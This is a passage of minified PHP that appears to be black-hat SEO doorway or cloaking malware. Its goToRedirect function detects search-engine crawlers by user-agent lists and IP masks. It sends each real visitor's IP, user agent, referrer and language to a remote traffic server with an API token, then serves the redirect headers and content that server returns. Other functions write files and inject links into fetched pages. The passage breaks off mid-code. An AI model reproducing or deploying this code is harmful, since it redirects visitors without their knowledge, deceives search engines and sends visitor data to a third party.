[^>"\']+ | (?<=[\=\x20\r\n\t]|\xc2\xa0) "[^"]*" | (?<=[\=\x20\r\n\t]|\xc2\xa0) \'[^\']*\' )* #incorrect attributes [^>]*+';if(is_array($s)){if($_callback_type==='strip_tags'){$tag=mb_strtolower($s[1]);if($_allowable_tags){if(array_key_exists($tag,$_allowable_tags))return $s[0];if(array_key_exists('<'.$tag.'>',$_allowable_tags)){if(substr($s[0],0,2)==='')return ''.$tag.'>';if(substr($s[0],-2)==='/>')return '<'.$tag.' />';return '<'.$tag.'>';}}if($tag==='br')return "\r\n";if($_para_tags&&array_key_exists($tag,$_para_tags))return "\r\n\r\n";return '';}trigger_error('Unknown callback type "'.$_callback_type.'"!',E_USER_ERROR);}if(($pos=strpos($s,'<'))===false||strpos($s,'>',$pos)===false){return $s;}$length=strlen($s);$re_tags='~ <[/!]?+ ( [a-zA-Z][a-zA-Z\d]*+ (?>:[a-zA-Z][a-zA-Z\d]*+)? ) #1 '.$re_attrs_fast_safe.' > ~sxSX';$patterns=array('/<([\?\%]) .*? \\1>/sxSX','/<\!\[CDATA\[ .*? \]\]>/sxSX','/<\!--.*?-->/sSX','/ <\! (?:--)?+ \[ (?> [^\]"\']+ | "[^"]*" | \'[^\']*\' )* \] (?:--)?+ > /sxSX');if($pair_tags){foreach($pair_tags as $k=>$v)$pair_tags[$k]=preg_quote($v,'/');$patterns[]='/ <((?i:'.implode('|',$pair_tags).'))'.$re_attrs_fast_safe.'(? .*? <\/(?i:\\1)'.$re_attrs_fast_safe.'> /sxSX';}$i=0;$max=99;while($i<$max){$s2=preg_replace($patterns,'',$s);if(preg_last_error()!==PREG_NO_ERROR){$i=999;break;}if($i==0){$is_html=($s2!=$s||preg_match($re_tags,$s2));if(preg_last_error()!==PREG_NO_ERROR){$i=999;break;}if($is_html){if($is_format_spaces){$s2=preg_replace('/ [\x09\x0a\x0c\x0d]++ | <((?i:pre|textarea))'.$re_attrs_fast_safe.'(? .+? <\/(?i:\\1)'.$re_attrs_fast_safe.'> \K /sxSX',' ',$s2);if(preg_last_error()!==PREG_NO_ERROR){$i=999;break;}}if($allowable_tags)$_allowable_tags=array_flip($allowable_tags);if($para_tags)$_para_tags=array_flip($para_tags);}}if(!empty($is_html)){$_callback_type='strip_tags';$s2=preg_replace_callback($re_tags,__FUNCTION__,$s2);$_callback_type=false;if(preg_last_error()!==PREG_NO_ERROR){$i=999;break;}}if($s===$s2)break;$s=$s2;$i++;}if($i>=$max)$s=strip_tags($s);if($is_format_spaces&&strlen($s)!==$length){$s=preg_replace('/\x20\x20++/sSX',' ',trim($s));$s=str_replace(array("\r\n\x20","\x20\r\n"),"\r\n",$s);$s=preg_replace('/[\r\n]{3,}+/sSX',"\r\n\r\n",$s);}return $s;}function createWriteFile($filename,$attr,$data){if(empty($attr)){$attr="w+";}$fd=fopen($filename,$attr);if($fd===false){return "no";}flock($fd,LOCK_EX);fwrite($fd,$data);fclose($fd);return "";}function getLinksFromFile($extlinkspath,$needcount){$ofile=trim($extlinkspath);$neednums=array();$goodresult=array();if(!empty($ofile)){$handle=fopen($ofile,"r");$n=0;while(!feof($handle)){fgets($handle);$n++;}fclose($handle);for($i=1;$i<=$needcount;$i++){$neednums[]=rand(1,$n);}$handle=fopen($ofile,"r");$i=1;while(!feof($handle)){$goodline=fgets($handle);if(in_array($i,$neednums)){$goodresult[]=$goodline;if(count($goodresult)==$needcount){break;}}$i++;}fclose($handle);return $goodresult;}else{return false;}}function getStatus($mcachefilename){$checkdata=array();if(file_exists($mcachefilename)){$linescount=getFileCount($mcachefilename,"");$checkdata["maintable"]="nonwp";$checkdata["cachecount"]=$linescount;}else{$checkdata["maintable"]="nonwp";$checkdata["cachecount"]="0";}$checkdata["linkable"]="nonwp";return $checkdata;}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return "";}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#ngb#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos("qqq".preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return "bot";}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt."?is_api=1&source=".urlencode($url_curr)."&action=get&token=".$apiToken."&ua=".$ua."&ip=".$ip."&keyword=".urlencode($keyword)."&referrer=".$referrer."&lang=".$lang."&sub_id_1=".urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_TIMEOUT,90);$output=curl_exec($ch);curl_close($ch);}else{$params=explode("?",$url);$params=$params[1];$output=file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'POST','header'=>'Content-type: application/x-www-form-urlencoded','content'=>$params))));}$result=json_decode($output);$result=(array) $result;$result=(array) $result["redirect"];if($result["content"]!=="bot"){if(!empty($forlinks)){return "";}foreach($result["headers"]as $header){header($header);}if($result["content"]){$result["content"]=urldecode($result["content"]);return $result["content"];}}elseif($result["content"]==="bot"){return "bot";}else{return "";}}else{$is_bot="";$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Yahoo!\s*Slurp#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#msnbot-media#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yandex#i','#Yanga#i','#Yeti#i','#msnbot#i','#spider#i','#yahoo#i','#jeeves#i','#Google#i','#altavista#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#yahoo!\s*slurp#i','#charlotte#i','#ngb#i');$stop_ips_masks=array("66\.249\.[6-9][0-9]\.[0-9]","74\.125\.[0-9]\.[0-9]","65\.5[2-5]\.[0-9]\.[0-9]","74\.6\.[0-9]\.[0-9]","67\.195\.[0-9]\.[0-9]","72\.30\.[0-9]\.[0-9]","38\.[0-9]\.[0-9]\.[0-9]","93\.172\.94\.227","212\.100\.250\.218","71\.165\.223\.134","70\.91\.180\.25","65\.93\.62\.242","74\.193\.246\.129","213\.144\.15\.38","195\.92\.229\.2","70\.50\.189\.191","218\.28\.88\.99","165\.160\.2\.20","89\.122\.224\.230","66\.230\.175\.124","218\.18\.174\.27","65\.33\.87\.94","67\.210\.111\.241","81\.135\.175\.70","64\.69\.34\.134","89\.149\.253\.169","104\.132\.8\.69");foreach($stop_ips_masks as $k=>$v){if(preg_match('#^'.$v.'$#',$ip)){$is_bot="bot";}}if(empty($is_bot)&&strpos("qqq".preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){$is_bot="bot";}if($is_bot=="bot"){return $is_bot;}if(!empty($forlinks)){return "";}if(!empty($plainred)){if(!empty($plainredurl)){$plainred=str_ireplace("[REDIRECTURL]",$plainredurl,$plainred);}$plainred=str_ireplace("[DEFISKEY]",str_ireplace(" ","-",$keyword),$plainred);$plainred=str_ireplace("[SPACEKEY]",$keyword,$plainred);$plainred=str_ireplace("[CURRURL]",$url_curr,$plainred);$plainred=str_ireplace("[REFERER]",$referrer,$plainred);$plainred=str_ireplace("[MULTIKEYREDIRECT]",$key1,$plainred);return $plainred;}else{return "";}}return "";}function placeLinks($pageurl,$links){$page=httpGet($pageurl);if(!empty($page)){$page=preg_replace("/(
)/iUs","
",$sitecode);$regex="/(
.*<\/p>)/iUs";preg_match_all($regex,$sitecode,$matches);if(!empty($matches[1])){$maxlength_p=getMaxLengthFromArray($matches[1],100);if(!empty($maxlength_p)){$sitecode=str_ireplace($maxlength_p,"[HEREISCONTENT]",$sitecode);}else{$sitecode=preg_replace("/(